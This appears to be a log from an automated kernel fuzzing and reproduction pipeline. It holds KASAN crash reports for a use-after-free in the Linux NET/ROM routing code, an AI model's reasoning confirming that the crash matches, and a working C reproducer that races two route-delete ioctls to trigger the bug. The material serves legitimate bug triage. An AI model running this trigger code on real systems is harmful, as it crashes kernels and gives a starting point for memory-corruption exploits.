 atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
 __refcount_sub_and_test include/linux/refcount.h:389 [inline]
 __refcount_dec_and_test include/linux/refcount.h:432 [inline]
 refcount_dec_and_test include/linux/refcount.h:450 [inline]
 nr_neigh_put+0x21/0x170 include/net/netrom.h:139
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f3e4416f06b
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
RSP: 002b:00007f3e43937130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f3e43937cdc RCX: 00007f3e4416f06b
RDX: 00007f3e4420eb40 RSI: 000000000000890c RDI: 0000000000000006
RBP: 0000000000000021 R08: 0000000000000000 R09: 00007f3e439376c0
R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffc2c2d5db0 R15: 00007ffc2c2d5e98
 </TASK>

Allocated by task 6098:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5380
 kmalloc_noprof include/linux/slab.h:950 [inline]
 nr_add_neigh+0x104/0x520 net/netrom/nr_route.c:392
 nr_rt_ioctl+0xdf9/0xf90 net/netrom/nr_route.c:660
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6118:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1c1/0x630 mm/slub.c:6483
 __nr_remove_neigh net/netrom/nr_route.c:299 [inline]
 nr_remove_neigh net/netrom/nr_route.c:308 [inline]
 nr_del_neigh+0x246/0x2d0 net/netrom/nr_route.c:439
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88810e2e2580
 which belongs to the cache kmalloc-64 of size 64
The buggy address is located 60 bytes inside of
 freed 64-byte region [ffff88810e2e2580, ffff88810e2e25c0)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10e2e2
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 017ff00000000000 ffff8881000418c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 51, tgid 51 (kworker/u9:2), ts 23585057965, free_ts 0
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x231/0x280 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x24dc/0x2580 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab+0x77/0x660 mm/slub.c:3481
 new_slab mm/slub.c:3539 [inline]
 refill_objects+0x331/0x3c0 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x2e6/0x730 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x577/0x7c0 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 __vmalloc_area_node mm/vmalloc.c:3855 [inline]
 __vmalloc_node_range_noprof+0x5d5/0x1730 mm/vmalloc.c:4064
 __vmalloc_node_noprof+0xc2/0x100 mm/vmalloc.c:4124
 alloc_thread_stack_node kernel/fork.c:355 [inline]
 dup_task_struct+0x275/0x9a0 kernel/fork.c:924
 copy_process+0x508/0x3cd0 kernel/fork.c:2050
 kernel_clone+0x248/0x8e0 kernel/fork.c:2653
 user_mode_thread+0x110/0x180 kernel/fork.c:2729
 call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
page_owner free stack trace missing

Memory state around the buggy address:
 ffff88810e2e2480: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
 ffff88810e2e2500: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
>ffff88810e2e2580: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
                                        ^
 ffff88810e2e2600: 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc
 ffff88810e2e2680: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
==================================================================


Other crashes triggered:

------------[ cut here ]------------
refcount_t: underflow; use-after-free.
WARNING: lib/refcount.c:28 at refcount_warn_saturate+0xb2/0x110 lib/refcount.c:28, CPU#0: syz-executor343/6134
Modules linked in:
CPU: 0 UID: 0 PID: 6134 Comm: syz-executor343 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:refcount_warn_saturate+0xb2/0x110 lib/refcount.c:28
Code: 74 bf 96 0b 67 48 0f b9 3a eb 4a e8 c8 23 16 fd 48 8d 3d 71 bf 96 0b 67 48 0f b9 3a eb 37 e8 b5 23 16 fd 48 8d 3d 6e bf 96 0b <67> 48 0f b9 3a eb 24 e8 a2 23 16 fd 48 8d 3d 6b bf 96 0b 67 48 0f
RSP: 0018:ffffc90003b27a70 EFLAGS: 00010293
RAX: ffffffff84af9c3b RBX: 0000000000000003 RCX: ffff8881951e57c0
RDX: 0000000000000000 RSI: ffffffff8f141140 RDI: ffffffff90465bb0
RBP: 0000000000000000 R08: ffff8881951e57c0 R09: 0000000000000005
R10: 0000000000000004 R11: 0000000000000000 R12: ffff888193b621a8
R13: dffffc0000000000 R14: ffff888193b621bc R15: 0000000000000002
FS:  00007fdf0bca86c0(0000) GS:ffff8881a53b7000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ffc81e4cd48 CR3: 00000001fbf76000 CR4: 00000000000006f0
Call Trace:
 <TASK>
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fdf0bcdf06b
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
RSP: 002b:00007fdf0bca8130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007fdf0bca8cdc RCX: 00007fdf0bcdf06b
RDX: 00007fdf0bd7eb40 RSI: 000000000000890c RDI: 0000000000000006
RBP: 0000000000000021 R08: 0000000000000000 R09: 00007fdf0bca86c0
R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007fff39cebdf0 R15: 00007fff39cebed8
 </TASK>
----------------
Code disassembly (best guess):
   0:	74 bf                	je     0xffffffc1
   2:	96                   	xchg   %eax,%esi
   3:	0b 67 48             	or     0x48(%rdi),%esp
   6:	0f b9 3a             	ud1    (%rdx),%edi
   9:	eb 4a                	jmp    0x55
   b:	e8 c8 23 16 fd       	call   0xfd1623d8
  10:	48 8d 3d 71 bf 96 0b 	lea    0xb96bf71(%rip),%rdi        # 0xb96bf88
  17:	67 48 0f b9 3a       	ud1    (%edx),%rdi
  1c:	eb 37                	jmp    0x55
  1e:	e8 b5 23 16 fd       	call   0xfd1623d8
  23:	48 8d 3d 6e bf 96 0b 	lea    0xb96bf6e(%rip),%rdi        # 0xb96bf98
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	eb 24                	jmp    0x55
  31:	e8 a2 23 16 fd       	call   0xfd1623d8
  36:	48 8d 3d 6b bf 96 0b 	lea    0xb96bf6b(%rip),%rdi        # 0xb96bfa8
  3d:	67                   	addr32
  3e:	48                   	rex.W
  3f:	0f                   	.byte 0xf

gemini-3.1-pro-preview

							input: 21866
							output: 138
							thoughts: 944
						

**Analyzing a Kernel Bug Report: A Case of Use-After-Free in Network Routing**

Okay, so we have a bug report, and it's flagged as a "KASAN: slab-use-after-free Write in nr_neigh_put." Interesting. The reproducer managed to trigger a crash. I need to take a look at this. It's a "BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170". Right, and another one, too! A "refcount_t: underflow; use-after-free" in `refcount_warn_saturate` from `nr_del_neigh`. This is getting interesting. Let's see the stack trace of the crash.

Okay, here it is: the UAF write is happening in `nr_neigh_put`, called from `nr_del_neigh`, which is called by `nr_rt_ioctl`, and then `sock_ioctl`. Clear enough.

Now, let's compare this to the original report. Yup, it's the exact same problem: a UAF in `nr_neigh_put`, from `nr_del_neigh`, via `nr_rt_ioctl`. The triggered crash is a mirror of the original one! Identical, even. It looks like we have a clear match here.

I'll confirm the TitleMatches, absolutely. The titles, the crash signature... they're essentially identical. We have a solid hit!

Now, to provide some helpful feedback. I'll summarize it, stating that the reproducer successfully triggered the expected bug. The crash signature and call trace match the original report exactly. The KASAN slab-use-after-free write is happening in `nr_neigh_put` during `nr_del_neigh` via `nr_rt_ioctl`. The secondary crash `refcount_t: underflow; use-after-free.` in `refcount_warn_saturate` from `nr_del_neigh` is also a direct consequence of the same underlying issue, probably a double free or underflow of the neighbor refcount.

map[Feedback:The reproducer successfully triggered the expected bug. The crash signature and call trace match the original report exactly, with the KASAN slab-use-after-free write occurring in `nr_neigh_put` during `nr_del_neigh` via `nr_rt_ioctl`. The secondary crash `refcount_t: underflow; use-after-free.` in `refcount_warn_saturate` from `nr_del_neigh` is also a direct consequence of the same underlying issue (double free / underflow of the neighbor refcount). TitleMatches:true]

map[Feedback:The reproducer successfully triggered the expected bug. The crash signature and call trace match the original report exactly, with the KASAN slab-use-after-free write occurring in `nr_neigh_put` during `nr_del_neigh` via `nr_rt_ioctl`. The secondary crash `refcount_t: underflow; use-after-free.` in `refcount_warn_saturate` from `nr_del_neigh` is also a direct consequence of the same underlying issue (double free / underflow of the neighbor refcount). TitleMatches:true]

map[ContinueSignal: EquivalenceAnalysis:The reproducer successfully triggered the expected bug. The crash signature and call trace match the original report exactly, with the KASAN slab-use-after-free write occurring in `nr_neigh_put` during `nr_del_neigh` via `nr_rt_ioctl`. The secondary crash `refcount_t: underflow; use-after-free.` in `refcount_warn_saturate` from `nr_del_neigh` is also a direct consequence of the same underlying issue (double free / underflow of the neighbor refcount). OracleFeedback:The reproducer successfully triggered the expected bug. The crash signature and call trace match the original report exactly, with the KASAN slab-use-after-free write occurring in `nr_neigh_put` during `nr_del_neigh` via `nr_rt_ioctl`. The secondary crash `refcount_t: underflow; use-after-free.` in `refcount_warn_saturate` from `nr_del_neigh` is also a direct consequence of the same underlying issue (double free / underflow of the neighbor refcount). ProbeSuccessful:true ReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }


#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;
    char *pts;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    pts = ptsname(fd);
    if (!pts) { perror("ptsname"); return 1; }

    sfd = open(pts, O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
} Reproduced:true ReproducedBugTitle:KASAN: slab-use-after-free Write in nr_neigh_put ReproducedCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: slab-use-after-free in atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
BUG: KASAN: slab-use-after-free in __refcount_sub_and_test include/linux/refcount.h:389 [inline]
BUG: KASAN: slab-use-after-free in __refcount_dec_and_test include/linux/refcount.h:432 [inline]
BUG: KASAN: slab-use-after-free in refcount_dec_and_test include/linux/refcount.h:450 [inline]
BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170 include/net/netrom.h:139
Write of size 4 at addr ffff88810e2e25bc by task syz-executor711/6118

CPU: 0 UID: 0 PID: 6118 Comm: syz-executor711 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xba/0x230 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
 __refcount_sub_and_test include/linux/refcount.h:389 [inline]
 __refcount_dec_and_test include/linux/refcount.h:432 [inline]
 refcount_dec_and_test include/linux/refcount.h:450 [inline]
 nr_neigh_put+0x21/0x170 include/net/netrom.h:139
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f3e4416f06b
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
RSP: 002b:00007f3e43937130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f3e43937cdc RCX: 00007f3e4416f06b
RDX: 00007f3e4420eb40 RSI: 000000000000890c RDI: 0000000000000006
RBP: 0000000000000021 R08: 0000000000000000 R09: 00007f3e439376c0
R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffc2c2d5db0 R15: 00007ffc2c2d5e98
 </TASK>

Allocated by task 6098:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5380
 kmalloc_noprof include/linux/slab.h:950 [inline]
 nr_add_neigh+0x104/0x520 net/netrom/nr_route.c:392
 nr_rt_ioctl+0xdf9/0xf90 net/netrom/nr_route.c:660
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6118:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1c1/0x630 mm/slub.c:6483
 __nr_remove_neigh net/netrom/nr_route.c:299 [inline]
 nr_remove_neigh net/netrom/nr_route.c:308 [inline]
 nr_del_neigh+0x246/0x2d0 net/netrom/nr_route.c:439
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88810e2e2580
 which belongs to the cache kmalloc-64 of size 64
The buggy address is located 60 bytes inside of
 freed 64-byte region [ffff88810e2e2580, ffff88810e2e25c0)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10e2e2
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 017ff00000000000 ffff8881000418c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 51, tgid 51 (kworker/u9:2), ts 23585057965, free_ts 0
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x231/0x280 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x24dc/0x2580 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab+0x77/0x660 mm/slub.c:3481
 new_slab mm/slub.c:3539 [inline]
